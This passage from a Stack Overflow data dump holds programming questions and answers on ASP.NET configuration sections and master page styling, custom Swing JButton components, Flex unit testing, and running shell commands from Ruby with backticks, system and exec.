"author_id": 6830841, "author_profile": "https://Stackoverflow.com/users/6830841", "pm_score": 2, "selected": false, "text": "<p>The most simple method, which I found, is using <a href=\"https://msdn.microsoft.com/en-us/library/system.configuration.configurationmanager.appsettings%28v=vs.110%29.aspx?f=255&amp;MSPPError=-2147217396\" rel=\"nofollow noreferrer\">appSettings section</a>.</p>\n\n<ol>\n<li><p>Add to Web.config the following:</p>\n\n<p><pre><code>&lt;appSettings>\n &lt;add key=\"MyProp\" value=\"MyVal\"/>\n&lt;/appSettings>\n</pre></code></p></li>\n<li><p>Access from your code</p>\n\n<p><pre><code>NameValueCollection appSettings = ConfigurationManager.AppSettings;\nstring myPropVal = appSettings[\"MyProp\"];\n</pre></code></p></li>\n</ol>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2155", "https://Stackoverflow.com", "https://Stackoverflow.com/users/371/" ]
The web applications I develop often require co-dependent configuration settings and there are also settings that have to change as we move between each of our environments. All our settings are currently simple key-value pairs but it would be useful to create custom config sections so that it is obvious when two values need to change together or when the settings need to change for an environment. What's the best way to create custom config sections and are there any special considerations to make when retrieving the values?
**Using attributes, child config sections and constraints** There is also the possibility to use attributes which automatically takes care of the plumbing, as well as providing the ability to easily add constraints. I here present an example from code I use myself in one of my sites. With a constraint I dictate the maximum amount of disk space any one user is allowed to use. MailCenterConfiguration.cs: ``` namespace Ani { public sealed class MailCenterConfiguration : ConfigurationSection { [ConfigurationProperty("userDiskSpace", IsRequired = true)] [IntegerValidator(MinValue = 0, MaxValue = 1000000)] public int UserDiskSpace { get { return (int)base["userDiskSpace"]; } set { base["userDiskSpace"] = value; } } } } ``` This is set up in web.config like so ``` <configSections> <!-- Mailcenter configuration file --> <section name="mailCenter" type="Ani.MailCenterConfiguration" requirePermission="false"/> </configSections> ... <mailCenter userDiskSpace="25000"> <mail host="my.hostname.com" port="366" /> </mailCenter> ``` **Child elements** The child xml element *mail* is created in the same .cs file as the one above. Here I've added constraints on the port. If the port is assigned a value not in this range the runtime will complain when the config is loaded. MailCenterConfiguration.cs: ``` public sealed class MailCenterConfiguration : ConfigurationSection { [ConfigurationProperty("mail", IsRequired=true)] public MailElement Mail { get { return (MailElement)base["mail"]; } set { base["mail"] = value; } } public class MailElement : ConfigurationElement { [ConfigurationProperty("host", IsRequired = true)] public string Host { get { return (string)base["host"]; } set { base["host"] = value; } } [ConfigurationProperty("port", IsRequired = true)] [IntegerValidator(MinValue = 0, MaxValue = 65535)] public int Port { get { return (int)base["port"]; } set { base["port"] = value; } } ``` **Use** To then use it practically in code, all you have to do is instantiate the MailCenterConfigurationObject, this will **automatically** read the relevant sections from web.config. MailCenterConfiguration.cs ``` private static MailCenterConfiguration instance = null; public static MailCenterConfiguration Instance { get { if (instance == null) { instance = (MailCenterConfiguration)WebConfigurationManager.GetSection("mailCenter"); } return instance; } } ``` AnotherFile.cs ``` public void SendMail() { MailCenterConfiguration conf = MailCenterConfiguration.Instance; SmtpClient smtpClient = new SmtpClient(conf.Mail.Host, conf.Mail.Port); } ``` **Check for validity** I previously mentioned that the runtime will complain when the configuration is loaded and some data does not comply to the rules you have set up (e.g. in MailCenterConfiguration.cs). I tend to want to know these things as soon as possible when my site fires up. One way to solve this is load the configuration in \_Global.asax.cx.Application\_Start\_ , if the configuration is invalid you will be notified of this with the means of an exception. Your site won't start and instead you will be presented detailed exception information in the [Yellow screen of death](http://www.codinghorror.com/blog/images/yellow-screen-of-death-large.png). Global.asax.cs ``` protected void Application_ Start(object sender, EventArgs e) { MailCenterConfiguration.Instance; } ```
2,158
<p>Is there a way to create a <code>JButton</code> with your own button graphic and not just with an image inside the button? </p> <p>If not, is there another way to create a custom <code>JButton</code> in java?</p>
[ { "answer_id": 2181, "author": "John Downey", "author_id": 200, "author_profile": "https://Stackoverflow.com/users/200", "pm_score": 3, "selected": false, "text": "<p>I haven't done SWING development since my early CS classes but if it wasn't built in you could just inherit <code>javax.swing.AbstractButton</code> and create your own. Should be pretty simple to wire something together with their existing framework.</p>\n" }, { "answer_id": 2210, "author": "rjohnston", "author_id": 246, "author_profile": "https://Stackoverflow.com/users/246", "pm_score": 4, "selected": false, "text": "<p>You could always try the Synth look &amp; feel. You provide an xml file that acts as a sort of stylesheet, along with any images you want to use. The code might look like this:</p>\n\n<pre><code>try {\n SynthLookAndFeel synth = new SynthLookAndFeel();\n Class aClass = MainFrame.class;\n InputStream stream = aClass.getResourceAsStream(\"\\\\default.xml\");\n\n if (stream == null) {\n System.err.println(\"Missing configuration file\");\n System.exit(-1); \n }\n\n synth.load(stream, aClass);\n\n UIManager.setLookAndFeel(synth);\n} catch (ParseException pe) {\n System.err.println(\"Bad configuration file\");\n pe.printStackTrace();\n System.exit(-2);\n} catch (UnsupportedLookAndFeelException ulfe) {\n System.err.println(\"Old JRE in use. Get a new one\");\n System.exit(-3);\n}\n</code></pre>\n\n<p>From there, go on and add your JButton like you normally would. The only change is that you use the setName(string) method to identify what the button should map to in the xml file.</p>\n\n<p>The xml file might look like this:</p>\n\n<pre><code>&lt;synth&gt;\n &lt;style id=\"button\"&gt;\n &lt;font name=\"DIALOG\" size=\"12\" style=\"BOLD\"/&gt;\n &lt;state value=\"MOUSE_OVER\"&gt;\n &lt;imagePainter method=\"buttonBackground\" path=\"dirt.png\" sourceInsets=\"2 2 2 2\"/&gt;\n &lt;insets top=\"2\" botton=\"2\" right=\"2\" left=\"2\"/&gt;\n &lt;/state&gt;\n &lt;state value=\"ENABLED\"&gt;\n &lt;imagePainter method=\"buttonBackground\" path=\"dirt.png\" sourceInsets=\"2 2 2 2\"/&gt;\n &lt;insets top=\"2\" botton=\"2\" right=\"2\" left=\"2\"/&gt;\n &lt;/state&gt;\n &lt;/style&gt;\n &lt;bind style=\"button\" type=\"name\" key=\"dirt\"/&gt;\n&lt;/synth&gt;\n</code></pre>\n\n<p>The bind element there specifies what to map to (in this example, it will apply that styling to any buttons whose name property has been set to \"dirt\").</p>\n\n<p>And a couple of useful links:</p>\n\n<p><a href=\"http://javadesktop.org/articles/synth/\" rel=\"noreferrer\">http://javadesktop.org/articles/synth/</a></p>\n\n<p><a href=\"http://docs.oracle.com/javase/tutorial/uiswing/lookandfeel/synth.html\" rel=\"noreferrer\">http://docs.oracle.com/javase/tutorial/uiswing/lookandfeel/synth.html</a></p>\n" }, { "answer_id": 2225, "author": "McDowell", "author_id": 304, "author_profile": "https://Stackoverflow.com/users/304", "pm_score": 5, "selected": false, "text": "<p>Yes, this is possible. One of the main pros for using Swing is the ease with which the abstract controls can be created and manipulates.</p>\n\n<p>Here is a quick and dirty way to extend the existing JButton class to draw a circle to the right of the text.</p>\n\n<pre><code>package test;\n\nimport java.awt.Color;\nimport java.awt.Container;\nimport java.awt.Dimension;\nimport java.awt.FlowLayout;\nimport java.awt.Graphics;\n\nimport javax.swing.JButton;\nimport javax.swing.JFrame;\n\npublic class MyButton extends JButton {\n\n private static final long serialVersionUID = 1L;\n\n private Color circleColor = Color.BLACK;\n\n public MyButton(String label) {\n super(label);\n }\n\n @Override\n protected void paintComponent(Graphics g) {\n super.paintComponent(g);\n\n Dimension originalSize = super.getPreferredSize();\n int gap = (int) (originalSize.height * 0.2);\n int x = originalSize.width + gap;\n int y = gap;\n int diameter = originalSize.height - (gap * 2);\n\n g.setColor(circleColor);\n g.fillOval(x, y, diameter, diameter);\n }\n\n @Override\n public Dimension getPreferredSize() {\n Dimension size = super.getPreferredSize();\n size.width += size.height;\n return size;\n }\n\n /*Test the button*/\n public static void main(String[] args) {\n MyButton button = new MyButton(\"Hello, World!\");\n\n JFrame frame = new JFrame();\n frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);\n frame.setSize(400, 400);\n\n Container contentPane = frame.getContentPane();\n contentPane.setLayout(new FlowLayout());\n contentPane.add(button);\n\n frame.setVisible(true);\n }\n\n}\n</code></pre>\n\n<p>Note that by overriding <strong>paintComponent</strong> that the contents of the button can be changed, but that the border is painted by the <strong>paintBorder</strong> method. The <strong>getPreferredSize</strong> method also needs to be managed in order to dynamically support changes to the content. Care needs to be taken when measuring font metrics and image dimensions.</p>\n\n<p>For creating a control that you can rely on, the above code is not the correct approach. Dimensions and colours are dynamic in Swing and are dependent on the look and feel being used. Even the default <em>Metal</em> look has changed across JRE versions. It would be better to implement <strong>AbstractButton</strong> and conform to the guidelines set out by the Swing API. A good starting point is to look at the <strong>javax.swing.LookAndFeel</strong> and <strong>javax.swing.UIManager</strong> classes.</p>\n\n<p><a href=\"http://docs.oracle.com/javase/8/docs/api/javax/swing/LookAndFeel.html\" rel=\"noreferrer\">http://docs.oracle.com/javase/8/docs/api/javax/swing/LookAndFeel.html</a></p>\n\n<p><a href=\"http://docs.oracle.com/javase/8/docs/api/javax/swing/UIManager.html\" rel=\"noreferrer\">http://docs.oracle.com/javase/8/docs/api/javax/swing/UIManager.html</a></p>\n\n<p>Understanding the anatomy of LookAndFeel is useful for writing controls:\n<a href=\"http://wayback.archive.org/web/20090309070901/http://java.sun.com/products/jfc/tsc/articles/sce/index.html\" rel=\"noreferrer\">Creating a Custom Look and Feel</a></p>\n" }, { "answer_id": 2245, "author": "Kevin", "author_id": 40, "author_profile": "https://Stackoverflow.com/users/40", "pm_score": 8, "selected": true, "text": "<p>When I was first learning Java we had to make Yahtzee and I thought it would be cool to create custom Swing components and containers instead of just drawing everything on one <code>JPanel</code>. The benefit of extending <code>Swing</code> components, of course, is to have the ability to add support for keyboard shortcuts and other accessibility features that you can't do just by having a <code>paint()</code> method print a pretty picture. It may not be done the best way however, but it may be a good starting point for you.</p>\n\n<p>Edit 8/6 - If it wasn't apparent from the images, each Die is a button you can click. This will move it to the <code>DiceContainer</code> below. Looking at the source code you can see that each Die button is drawn dynamically, based on its value.</p>\n\n<p><img src=\"https://i.stack.imgur.com/pgyQp.jpg\" alt=\"alt text\"><br>\n<img src=\"https://i.stack.imgur.com/jkYRd.jpg\" alt=\"alt text\"><br>\n<img src=\"https://i.stack.imgur.com/9BI34.jpg\" alt=\"alt text\"></p>\n\n<p>Here are the basic steps:</p>\n\n<ol>\n<li>Create a class that extends <code>JComponent</code></li>\n<li>Call parent constructor <code>super()</code> in your constructors</li>\n<li>Make sure you class implements <code>MouseListener</code></li>\n<li><p>Put this in the constructor:</p>\n\n<pre><code>enableInputMethods(true); \naddMouseListener(this);\n</code></pre></li>\n<li><p>Override these methods:</p>\n\n<pre><code>public Dimension getPreferredSize() \npublic Dimension getMinimumSize() \npublic Dimension getMaximumSize()\n</code></pre></li>\n<li><p>Override this method:</p>\n\n<pre><code>public void paintComponent(Graphics g)\n</code></pre></li>\n</ol>\n\n<p>The amount of space you have to work with when drawing your button is defined by <code>getPreferredSize()</code>, assuming <code>getMinimumSize()</code> and <code>getMaximumSize()</code> return the same value. I haven't experimented too much with this but, depending on the layout you use for your GUI your button could look completely different.</p>\n\n<p>And finally, the <a href=\"https://github.com/kdeloach/labs/blob/master/java/yahtzee/src/Dice.java\" rel=\"noreferrer\">source code</a>. In case I missed anything. </p>\n" }, { "answer_id": 18261, "author": "AngelOfCake", "author_id": 1732, "author_profile": "https://Stackoverflow.com/users/1732", "pm_score": 3, "selected": false, "text": "<p>I'm probably going a million miles in the wrong direct (but i'm only young :P ). but couldn't you add the graphic to a panel and then a mouselistener to the graphic object so that when the user on the graphic your action is preformed.</p>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2158", "https://Stackoverflow.com", "https://Stackoverflow.com/users/340/" ]
Is there a way to create a `JButton` with your own button graphic and not just with an image inside the button? If not, is there another way to create a custom `JButton` in java?
When I was first learning Java we had to make Yahtzee and I thought it would be cool to create custom Swing components and containers instead of just drawing everything on one `JPanel`. The benefit of extending `Swing` components, of course, is to have the ability to add support for keyboard shortcuts and other accessibility features that you can't do just by having a `paint()` method print a pretty picture. It may not be done the best way however, but it may be a good starting point for you. Edit 8/6 - If it wasn't apparent from the images, each Die is a button you can click. This will move it to the `DiceContainer` below. Looking at the source code you can see that each Die button is drawn dynamically, based on its value. ![alt text](https://i.stack.imgur.com/pgyQp.jpg) ![alt text](https://i.stack.imgur.com/jkYRd.jpg) ![alt text](https://i.stack.imgur.com/9BI34.jpg) Here are the basic steps: 1. Create a class that extends `JComponent` 2. Call parent constructor `super()` in your constructors 3. Make sure you class implements `MouseListener` 4. Put this in the constructor: ``` enableInputMethods(true); addMouseListener(this); ``` 5. Override these methods: ``` public Dimension getPreferredSize() public Dimension getMinimumSize() public Dimension getMaximumSize() ``` 6. Override this method: ``` public void paintComponent(Graphics g) ``` The amount of space you have to work with when drawing your button is defined by `getPreferredSize()`, assuming `getMinimumSize()` and `getMaximumSize()` return the same value. I haven't experimented too much with this but, depending on the layout you use for your GUI your button could look completely different. And finally, the [source code](https://github.com/kdeloach/labs/blob/master/java/yahtzee/src/Dice.java). In case I missed anything.
2,196
<p>I've got a web application that I'm trying to optimize. Some of the controls are hidden in dialog-style <code>DIVs</code>. So, I'd like to have them load in via AJAX only when the user wants to see them. This is fine for controls that are mostly literal-based (various menus and widgets), but when I have what I call "dirty" controls - ones that write extensive information to the <code>ViewState</code>, put tons of CSS or script on the page, require lots of references, etc - these are seemingly impossible to move "out of page", especially considering how ASP.NET will react on postback.</p> <p>I was considering some kind of step where I override Render, find markers for the bits I want to move out and put AJAX placeholders in there, but not only does the server overhead seem extreme, it also feels like a complete hack. Besides, the key element here is the dialog boxes that contain forms with validation controls on them, and I can't imagine how I would move the controls <em>and</em> their required scripts.</p> <p><strong>In my fevered imagination, I want to do this:</strong></p> <pre><code>AJAXifier.AJAXify(ctlEditForm); </code></pre> <p>Sadly, I know this is a dream. </p> <p>How close can I really get to a quick-and-easy AJAXification without causing too much load on the server?</p>
[ { "answer_id": 2372, "author": "Rob Allen", "author_id": 149, "author_profile": "https://Stackoverflow.com/users/149", "pm_score": 1, "selected": false, "text": "<p>Step one is to make your \"dirty\" pieces self contained user controls</p>\n\n<p>Step two is to embed those controls on your consuming page</p>\n\n<p>Step three is to wrap each user control tag in their own Asp:UpdatePanel</p>\n\n<p>Step four is to ensure your control gets the data it needs by having it read from properties which check against the viewstate for pre-existing values. I know this makes your code rely on ugly global variables but it's a fast way to get this done.</p>\n\n<p>Your mileage may vary.</p>\n" }, { "answer_id": 2373, "author": "Yaakov Ellis", "author_id": 51, "author_profile": "https://Stackoverflow.com/users/51", "pm_score": 4, "selected": true, "text": "<p>Check out the <a href=\"http://www.telerik.com/products/aspnet-ajax/controls/ajax/overview.aspx\" rel=\"noreferrer\">RadAjax</a> control from Telerik - it allows you to avoid using UpdatePanels, and limit the amount of info passed back and forth between server and client by declaring direct relationships between calling controls, and controls that should be \"Ajaxified\" when the calling controls submit postbacks. </p>\n" }, { "answer_id": 46109, "author": "a7drew", "author_id": 4239, "author_profile": "https://Stackoverflow.com/users/4239", "pm_score": 2, "selected": false, "text": "<p>I recommend that you walk over to your local book store this weekend, get a cup of coffee and find jQuery in Action by Manning Press. Go ahead and read the first chapter of this 300 page book in the store, then buy it if it resonates with you.</p>\n\n<p>I think you'll be surprized by how easy jQuery lets you perform what your describing here. From ajax calls to the server in the background, to showing and hiding div tags based on the visitor's actions. The amount of code you have to write is super small. </p>\n\n<p>There are a bunch of good JavaScript libraries, this is just one of them that I like, and it really is easy to get started. Start by including a reference to the current jQuery file with a tag and then write a few lines of code to interact with your page.</p>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2196", "https://Stackoverflow.com", "https://Stackoverflow.com/users/192/" ]
I've got a web application that I'm trying to optimize. Some of the controls are hidden in dialog-style `DIVs`. So, I'd like to have them load in via AJAX only when the user wants to see them. This is fine for controls that are mostly literal-based (various menus and widgets), but when I have what I call "dirty" controls - ones that write extensive information to the `ViewState`, put tons of CSS or script on the page, require lots of references, etc - these are seemingly impossible to move "out of page", especially considering how ASP.NET will react on postback. I was considering some kind of step where I override Render, find markers for the bits I want to move out and put AJAX placeholders in there, but not only does the server overhead seem extreme, it also feels like a complete hack. Besides, the key element here is the dialog boxes that contain forms with validation controls on them, and I can't imagine how I would move the controls *and* their required scripts. **In my fevered imagination, I want to do this:** ``` AJAXifier.AJAXify(ctlEditForm); ``` Sadly, I know this is a dream. How close can I really get to a quick-and-easy AJAXification without causing too much load on the server?
Check out the [RadAjax](http://www.telerik.com/products/aspnet-ajax/controls/ajax/overview.aspx) control from Telerik - it allows you to avoid using UpdatePanels, and limit the amount of info passed back and forth between server and client by declaring direct relationships between calling controls, and controls that should be "Ajaxified" when the calling controls submit postbacks.
2,209
<p>I specifically want to add the style of <code>background-color</code> to the <code>&lt;body&gt;</code> tag of a master page, from the code behind (C#) of a content page that uses that master page. </p> <p>I have different content pages that need to make the master page has different colors depending on which content page is loaded, so that the master page matches the content page's theme.</p> <p>I have a solution below:</p> <hr> <p>I'm looking for something more like:</p> <pre><code>Master.Attributes.Add("style", "background-color: 2e6095"); </code></pre> <p>Inside of the page load function of the content page. But I can't get the above line to work. I only need to change the <code>background-color</code> for the <code>&lt;body&gt;</code> tag of the page.</p>
[ { "answer_id": 2212, "author": "GateKiller", "author_id": 383, "author_profile": "https://Stackoverflow.com/users/383", "pm_score": 0, "selected": false, "text": "<p>I believe you are talking about a content management system. The way I have delt with this situation in the past is to either:</p>\n\n<ol>\n<li>Allow a page/content to define an extra custom stylesheet or</li>\n<li>Allow a page/content to define inline style tags</li>\n</ol>\n" }, { "answer_id": 2233, "author": "Adhip Gupta", "author_id": 384, "author_profile": "https://Stackoverflow.com/users/384", "pm_score": 4, "selected": true, "text": "<p>What I would do for the particular case is:</p>\n\n<p>i. Define the body as a server side control</p>\n\n<pre><code>&lt;body runat=\"server\" id=\"masterpageBody\"&gt;\n</code></pre>\n\n<p>ii. In your content aspx page, register the MasterPage with the register:</p>\n\n<pre><code>&lt;% MasterPageFile=\"...\" %&gt;\n</code></pre>\n\n<p>iii. In the Content Page, you can now simply use </p>\n\n<pre><code>Master.FindControl(\"masterpageBody\")\n</code></pre>\n\n<p>and have access to the control. Now, you can change whatever properties/style that you like!</p>\n" }, { "answer_id": 2291, "author": "Bryan Denny", "author_id": 396, "author_profile": "https://Stackoverflow.com/users/396", "pm_score": 1, "selected": false, "text": "<p>This is what I came up with:</p>\n\n<p>In the page load function:</p>\n\n<pre><code>HtmlGenericControl body = (HtmlGenericControl)Master.FindControl(\"default_body\");\nbody.Style.Add(HtmlTextWriterStyle.BackgroundColor, \"#2E6095\");\n</code></pre>\n\n<p>Where </p>\n\n<blockquote>\n <p>default_body = the id of the body tag.</p>\n</blockquote>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2209", "https://Stackoverflow.com", "https://Stackoverflow.com/users/396/" ]
I specifically want to add the style of `background-color` to the `<body>` tag of a master page, from the code behind (C#) of a content page that uses that master page. I have different content pages that need to make the master page has different colors depending on which content page is loaded, so that the master page matches the content page's theme. I have a solution below: --- I'm looking for something more like: ``` Master.Attributes.Add("style", "background-color: 2e6095"); ``` Inside of the page load function of the content page. But I can't get the above line to work. I only need to change the `background-color` for the `<body>` tag of the page.
What I would do for the particular case is: i. Define the body as a server side control ``` <body runat="server" id="masterpageBody"> ``` ii. In your content aspx page, register the MasterPage with the register: ``` <% MasterPageFile="..." %> ``` iii. In the Content Page, you can now simply use ``` Master.FindControl("masterpageBody") ``` and have access to the control. Now, you can change whatever properties/style that you like!
2,222
<p>I'm currently working on an application with a frontend written in Adobe Flex 3. I'm aware of <a href="http://code.google.com/p/as3flexunitlib/" rel="noreferrer">FlexUnit</a> but what I'd really like is a unit test runner for Ant/NAnt and a runner that integrates with the Flex Builder IDE (AKA Eclipse). Does one exist? </p> <p>Also, are there any other resources on how to do Flex development "the right way" besides the <a href="http://labs.adobe.com/wiki/index.php/Cairngorm" rel="noreferrer">Cairngorm microarchitecture</a> example?</p>
[ { "answer_id": 8753, "author": "Theo", "author_id": 1109, "author_profile": "https://Stackoverflow.com/users/1109", "pm_score": 4, "selected": true, "text": "<p>The <a href=\"http://code.google.com/p/dpuint/\" rel=\"noreferrer\">dpUint</a> testing framework has a test runner built with AIR which can be integrated with a build script.</p>\n\n<p>There is also my <a href=\"http://developer.iconara.net/objectlib/flexunitautomation.html\" rel=\"noreferrer\">FlexUnit</a> automation kit which does more or less the same for FlexUnit. It has an Ant macro that makes it possible to run the tests as a part of an Ant script, for example:</p>\n\n<pre><code>&lt;target name=\"run-tests\" depends=\"compile-tests\"&gt;\n &lt;flexunit swf=\"${build.home}/tests.swf\" failonerror=\"true\"/&gt;\n&lt;/target&gt;\n</code></pre>\n" }, { "answer_id": 8770, "author": "Theo", "author_id": 1109, "author_profile": "https://Stackoverflow.com/users/1109", "pm_score": 2, "selected": false, "text": "<p>About how to develop Flex applications the right way, I wouldn't look too much at the Cairngorm framework. It does claim to show \"best practice\" and so on, but I would say that the opposite is true. It's based around the use of global variables, and other things you should try to avoid. I've <a href=\"http://blog.iconara.net/2008/04/13/architectural-atrocities-part-x-cairngorms-model-locator-pattern/\" rel=\"nofollow noreferrer\">outlined some of the problems on my blog</a>.</p>\n\n<p>I would suggest that you look at the <a href=\"http://mate.asfusion.com\" rel=\"nofollow noreferrer\">Mate framework</a> instead, which has good documentation and good examples to get you going. It uses Flex to its full potential, doesn't rely on global variables as Cairngorm and PureMVC, and it makes it possible to write much more decoupled code.</p>\n" }, { "answer_id": 10232, "author": "Mike Deck", "author_id": 1247, "author_profile": "https://Stackoverflow.com/users/1247", "pm_score": 2, "selected": false, "text": "<p>On my project we're using Maven to build both our Flex RIA and the Java-based back end. In order to build and test the Flex app we use the <a href=\"http://code.google.com/p/flex-mojos/\" rel=\"nofollow noreferrer\">flex-mojos</a> maven plugins. They do a great job for us and I would highly recommend using Maven over Ant.</p>\n\n<p>That being said, if you're already using Ant it can be a little tricky to transition over to Maven. So if you're in that position I would recommend using the flexunit tasks available here: <a href=\"http://docs.flexunit.org/index.php?title=Ant_Task\" rel=\"nofollow noreferrer\">Ant Task</a></p>\n\n<p>Both of these libraries do basically the same thing, they launch a generated flexunit test runner mxml application in a window and open a socket connection back to the build process using a JUnit test runner. Amazingly enough it works pretty well. The only problem is that you can't run it headless so if you want to run the build from a CI server you have to make sure that process has the ability to launch new windows otherwise it won't work.</p>\n" }, { "answer_id": 106837, "author": "marstonstudio", "author_id": 19447, "author_profile": "https://Stackoverflow.com/users/19447", "pm_score": 0, "selected": false, "text": "<p>An alternative to FlexUnit is the <a href=\"http://www.asunit.org/\" rel=\"nofollow noreferrer\">AsUnit</a> testing tools. There are versions for actionscript 2 and 3. It also has good integration with <a href=\"http://www.projectsprouts.org/\" rel=\"nofollow noreferrer\">Project Sprouts</a>, which is a build tool for Flex and Flash similar to ant, however it uses ruby rake tasks and includes excellent dependency management along the lines of maven.</p>\n\n<p>No IDE integration that I know of however.</p>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2222", "https://Stackoverflow.com", "https://Stackoverflow.com/users/266/" ]
I'm currently working on an application with a frontend written in Adobe Flex 3. I'm aware of [FlexUnit](http://code.google.com/p/as3flexunitlib/) but what I'd really like is a unit test runner for Ant/NAnt and a runner that integrates with the Flex Builder IDE (AKA Eclipse). Does one exist? Also, are there any other resources on how to do Flex development "the right way" besides the [Cairngorm microarchitecture](http://labs.adobe.com/wiki/index.php/Cairngorm) example?
The [dpUint](http://code.google.com/p/dpuint/) testing framework has a test runner built with AIR which can be integrated with a build script. There is also my [FlexUnit](http://developer.iconara.net/objectlib/flexunitautomation.html) automation kit which does more or less the same for FlexUnit. It has an Ant macro that makes it possible to run the tests as a part of an Ant script, for example: ``` <target name="run-tests" depends="compile-tests"> <flexunit swf="${build.home}/tests.swf" failonerror="true"/> </target> ```
2,232
<p>How do I call shell commands from inside of a Ruby program? How do I then get output from these commands back into Ruby?</p>
[ { "answer_id": 2280, "author": "Steve Willard", "author_id": 402, "author_profile": "https://Stackoverflow.com/users/402", "pm_score": 5, "selected": false, "text": "<p>I'm definitely not a Ruby expert, but I'll give it a shot:</p>\n\n<pre><code>$ irb \nsystem \"echo Hi\"\nHi\n=&gt; true\n</code></pre>\n\n<p>You should also be able to do things like:</p>\n\n<pre><code>cmd = 'ls'\nsystem(cmd)\n</code></pre>\n" }, { "answer_id": 2334, "author": "Rufo Sanchez", "author_id": 140, "author_profile": "https://Stackoverflow.com/users/140", "pm_score": 4, "selected": false, "text": "<p>You can also use the backtick operators (`), similar to Perl:</p>\n\n<pre><code>directoryListing = `ls /`\nputs directoryListing # prints the contents of the root directory\n</code></pre>\n\n<p>Handy if you need something simple.</p>\n\n<p>Which method you want to use depends on exactly what you're trying to accomplish; check the docs for more details about the different methods.</p>\n" }, { "answer_id": 2350, "author": "cynicalman", "author_id": 410, "author_profile": "https://Stackoverflow.com/users/410", "pm_score": 7, "selected": false, "text": "<p>The way I like to do this is using the <code>%x</code> literal, which makes it easy (and readable!) to use quotes in a command, like so:</p>\n\n<pre><code>directorylist = %x[find . -name '*test.rb' | sort]\n</code></pre>\n\n<p>Which, in this case, will populate file list with all test files under the current directory, which you can process as expected:</p>\n\n<pre><code>directorylist.each do |filename|\n filename.chomp!\n # work with file\nend\n</code></pre>\n" }, { "answer_id": 2400, "author": "Steve Willard", "author_id": 402, "author_profile": "https://Stackoverflow.com/users/402", "pm_score": 12, "selected": true, "text": "<p>This explanation is based on a commented <a href=\"http://gist.github.com/4069\" rel=\"noreferrer\">Ruby script</a> from a friend of mine. If you want to improve the script, feel free to update it at the link.</p>\n\n<p>First, note that when Ruby calls out to a shell, it typically calls <code>/bin/sh</code>, <em>not</em> Bash. Some Bash syntax is not supported by <code>/bin/sh</code> on all systems.</p>\n\n<p>Here are ways to execute a shell script:</p>\n\n<pre><code>cmd = \"echo 'hi'\" # Sample string that can be used\n</code></pre>\n\n<ol>\n<li><p><code>Kernel#`</code> , commonly called backticks – <code>`cmd`</code></p>\n\n<p>This is like many other languages, including Bash, PHP, and Perl.</p>\n\n<p>Returns the result (i.e. standard output) of the shell command.</p>\n\n<p>Docs: <a href=\"http://ruby-doc.org/core/Kernel.html#method-i-60\" rel=\"noreferrer\">http://ruby-doc.org/core/Kernel.html#method-i-60</a></p>\n\n<pre><code>value = `echo 'hi'`\nvalue = `#{cmd}`\n</code></pre></li>\n<li><p>Built-in syntax, <code>%x( cmd )</code></p>\n\n<p>Following the <code>x</code> character is a delimiter, which can be any character.\nIf the delimiter is one of the characters <code>(</code>, <code>[</code>, <code>{</code>, or <code>&lt;</code>,\nthe literal consists of the characters up to the matching closing delimiter,\ntaking account of nested delimiter pairs. For all other delimiters, the\nliteral comprises the characters up to the next occurrence of the\ndelimiter character. String interpolation <code>#{ ... }</code> is allowed.</p>\n\n<p>Returns the result (i.e. standard output) of the shell command, just like the backticks.</p>\n\n<p>Docs: <a href=\"https://docs.ruby-lang.org/en/master/syntax/literals_rdoc.html#label-Percent+Strings\" rel=\"noreferrer\">https://docs.ruby-lang.org/en/master/syntax/literals_rdoc.html#label-Percent+Strings</a></p>\n\n<pre><code>value = %x( echo 'hi' )\nvalue = %x[ #{cmd} ]\n</code></pre></li>\n<li><p><code>Kernel#system</code></p>\n\n<p>Executes the given command in a subshell. </p>\n\n<p>Returns <code>true</code> if the command was found and run successfully, <code>false</code> otherwise.</p>\n\n<p>Docs: <a href=\"http://ruby-doc.org/core/Kernel.html#method-i-system\" rel=\"noreferrer\">http://ruby-doc.org/core/Kernel.html#method-i-system</a></p>\n\n<pre><code>wasGood = system( \"echo 'hi'\" )\nwasGood = system( cmd )\n</code></pre></li>\n<li><p><code>Kernel#exec</code></p>\n\n<p>Replaces the current process by running the given external command.</p>\n\n<p>Returns none, the current process is replaced and never continues.</p>\n\n<p>Docs: <a href=\"http://ruby-doc.org/core/Kernel.html#method-i-exec\" rel=\"noreferrer\">http://ruby-doc.org/core/Kernel.html#method-i-exec</a></p>\n\n<pre><code>exec( \"echo 'hi'\" )\nexec( cmd ) # Note: this will never be reached because of the line above\n</code></pre></li>\n</ol>\n\n<p>Here's some extra advice:\n<code>$?</code>, which is the same as <code>$CHILD_STATUS</code>, accesses the status of the last system executed command if you use the backticks, <code>system()</code> or <code>%x{}</code>.\nYou can then access the <code>exitstatus</code> and <code>pid</code> properties:</p>\n\n<pre><code>$?.exitstatus\n</code></pre>\n\n<p>For more reading see:</p>\n\n<ul>\n<li><a href=\"http://www.elctech.com/blog/i-m-in-ur-commandline-executin-ma-commands\" rel=\"noreferrer\">http://www.elctech.com/blog/i-m-in-ur-commandline-executin-ma-commands</a></li>\n<li><a href=\"http://blog.jayfields.com/2006/06/ruby-kernel-system-exec-and-x.html\" rel=\"noreferrer\">http://blog.jayfields.com/2006/06/ruby-kernel-system-exec-and-x.html</a></li>\n<li><a href=\"http://tech.natemurray.com/2007/03/ruby-shell-commands.html\" rel=\"noreferrer\">http://tech.natemurray.com/2007/03/ruby-shell-commands.html</a></li>\n</ul>\n" }, { "answer_id": 4413, "author": "Nick Brosnahan", "author_id": 528, "author_profile": "https://Stackoverflow.com/users/528", "pm_score": 5, "selected": false, "text": "<p>Some things to think about when choosing between these mechanisms are:</p>\n\n<ol>\n<li>Do you just want stdout or do you\nneed stderr as well? Or even\nseparated out?</li>\n<li>How big is your output? Do you want\nto hold the entire result in memory?</li>\n<li>Do you want to read some of your\noutput while the subprocess is still\nrunning?</li>\n<li>Do you need result codes?</li>\n<li>Do you need a Ruby object that\nrepresents the process and lets you\nkill it on demand?</li>\n</ol>\n\n<p>You may need anything from simple backticks (``), <code>system()</code>, and <code>IO.popen</code> to full-blown <code>Kernel.fork</code>/<code>Kernel.exec</code> with <code>IO.pipe</code> and <code>IO.select</code>.</p>\n\n<p>You may also want to throw timeouts into the mix if a sub-process takes too long to execute.</p>\n\n<p>Unfortunately, it very much 